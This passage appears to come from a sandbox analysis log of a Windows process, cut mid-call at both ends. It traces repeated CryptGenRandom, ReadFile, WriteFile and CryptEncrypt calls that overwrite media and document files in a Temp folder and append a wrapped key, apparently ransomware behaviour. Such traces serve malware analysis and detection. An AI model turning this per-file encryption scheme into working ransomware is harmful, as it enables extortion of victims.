lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.787] CloseHandle (hObject=0x1c74) returned 1 [0200.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\l wpNhlFxAlkNSAMo.flv", dwFileAttributes=0x80) returned 1 [0200.789] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\l wpNhlFxAlkNSAMo.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\l wpnhlfxalknsamo.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.789] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6199) returned 1 [0200.790] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x1837, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x1837, lpOverlapped=0x0) returned 1 [0200.790] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-6199, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.790] WriteFile (in: hFile=0x1c74, lpBuffer=0x30d9888*, nNumberOfBytesToWrite=0x1837, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1837, lpOverlapped=0x0) returned 1 [0200.791] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1837 [0200.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.791] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.791] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.791] CloseHandle (hObject=0x1c74) returned 1 [0200.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.793] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0200.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\IjmjEMTreFJ5AaY0Pw.bmp", dwFileAttributes=0x80) returned 1 [0200.793] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\IjmjEMTreFJ5AaY0Pw.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ijmjemtrefj5aay0pw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.794] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19572) returned 1 [0200.794] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x4c74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c74, lpOverlapped=0x0) returned 1 [0200.795] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-19572, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.795] WriteFile (in: hFile=0x1c74, lpBuffer=0x30dccc8*, nNumberOfBytesToWrite=0x4c74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dccc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c74, lpOverlapped=0x0) returned 1 [0200.795] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c74 [0200.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.795] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.795] CloseHandle (hObject=0x1c74) returned 1 [0200.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.797] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\HwY4NIt.odt", dwFileAttributes=0x80) returned 1 [0200.797] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\HwY4NIt.odt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\hwy4nit.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.798] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96801) returned 1 [0200.798] ReadFile (in: hFile=0x1c74, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x17a21, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x17a21, lpOverlapped=0x0) returned 1 [0200.800] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-96801, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.800] WriteFile (in: hFile=0x1c74, lpBuffer=0x2f02a48*, nNumberOfBytesToWrite=0x17a21, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f02a48*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17a21, lpOverlapped=0x0) returned 1 [0200.800] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17a21 [0200.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.801] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.801] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.801] CloseHandle (hObject=0x1c74) returned 1 [0200.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.802] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\egUQQ lA.mp3", dwFileAttributes=0x80) returned 1 [0200.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\egUQQ lA.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\eguqq la.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.803] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=44146) returned 1 [0200.803] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xac72, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xac72, lpOverlapped=0x0) returned 1 [0200.804] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-44146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.804] WriteFile (in: hFile=0x1c74, lpBuffer=0x30e2cc8*, nNumberOfBytesToWrite=0xac72, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2cc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xac72, lpOverlapped=0x0) returned 1 [0200.804] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xac72 [0200.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.805] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.805] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.805] CloseHandle (hObject=0x1c74) returned 1 [0200.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.806] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\EdXw.rtf", dwFileAttributes=0x80) returned 1 [0200.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\EdXw.rtf" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\edxw.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.807] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=96687) returned 1 [0200.807] ReadFile (in: hFile=0x1c74, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x179af, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x179af, lpOverlapped=0x0) returned 1 [0200.808] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-96687, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.808] WriteFile (in: hFile=0x1c74, lpBuffer=0x2f029d0*, nNumberOfBytesToWrite=0x179af, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f029d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x179af, lpOverlapped=0x0) returned 1 [0200.808] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x179af [0200.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.809] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.809] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.809] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.809] CloseHandle (hObject=0x1c74) returned 1 [0200.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.810] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.810] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\BzLn.mp3", dwFileAttributes=0x80) returned 1 [0200.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\BzLn.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\bzln.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.811] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=61689) returned 1 [0200.811] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0xf0f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0xf0f9, lpOverlapped=0x0) returned 1 [0200.812] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-61689, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.812] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xf0f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf0f9, lpOverlapped=0x0) returned 1 [0200.812] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf0f9 [0200.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.812] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.813] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.813] CloseHandle (hObject=0x1c74) returned 1 [0200.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.814] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\aqgiPa3j 0h.mp3", dwFileAttributes=0x80) returned 1 [0200.814] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\aqgiPa3j 0h.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\aqgipa3j 0h.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.814] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80007) returned 1 [0200.814] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x13887, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x13887, lpOverlapped=0x0) returned 1 [0200.815] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-80007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.816] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x13887, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13887, lpOverlapped=0x0) returned 1 [0200.816] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13887 [0200.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.816] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.816] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.816] CloseHandle (hObject=0x1c74) returned 1 [0200.830] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.830] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.830] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\anKwnKnHz.mkv", dwFileAttributes=0x80) returned 1 [0200.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\anKwnKnHz.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ankwnknhz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.831] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8791) returned 1 [0200.831] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x2257, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2257, lpOverlapped=0x0) returned 1 [0200.832] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-8791, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.832] WriteFile (in: hFile=0x1c74, lpBuffer=0x30da2a8*, nNumberOfBytesToWrite=0x2257, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da2a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2257, lpOverlapped=0x0) returned 1 [0200.832] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2257 [0200.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.832] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.832] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.832] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.832] CloseHandle (hObject=0x1c74) returned 1 [0200.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\0HwPO0Ms.avi", dwFileAttributes=0x80) returned 1 [0200.834] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temp\\0HwPO0Ms.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0hwpo0ms.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c74 [0200.834] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79805) returned 1 [0200.835] ReadFile (in: hFile=0x1c74, lpBuffer=0x30d8048, nNumberOfBytesToRead=0x137bd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8048*, lpNumberOfBytesRead=0x2e1f9bc*=0x137bd, lpOverlapped=0x0) returned 1 [0200.836] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=-79805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.836] WriteFile (in: hFile=0x1c74, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x137bd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x137bd, lpOverlapped=0x0) returned 1 [0200.836] SetFilePointer (in: hFile=0x1c74, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x137bd [0200.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.836] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.836] WriteFile (in: hFile=0x1c74, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.836] CloseHandle 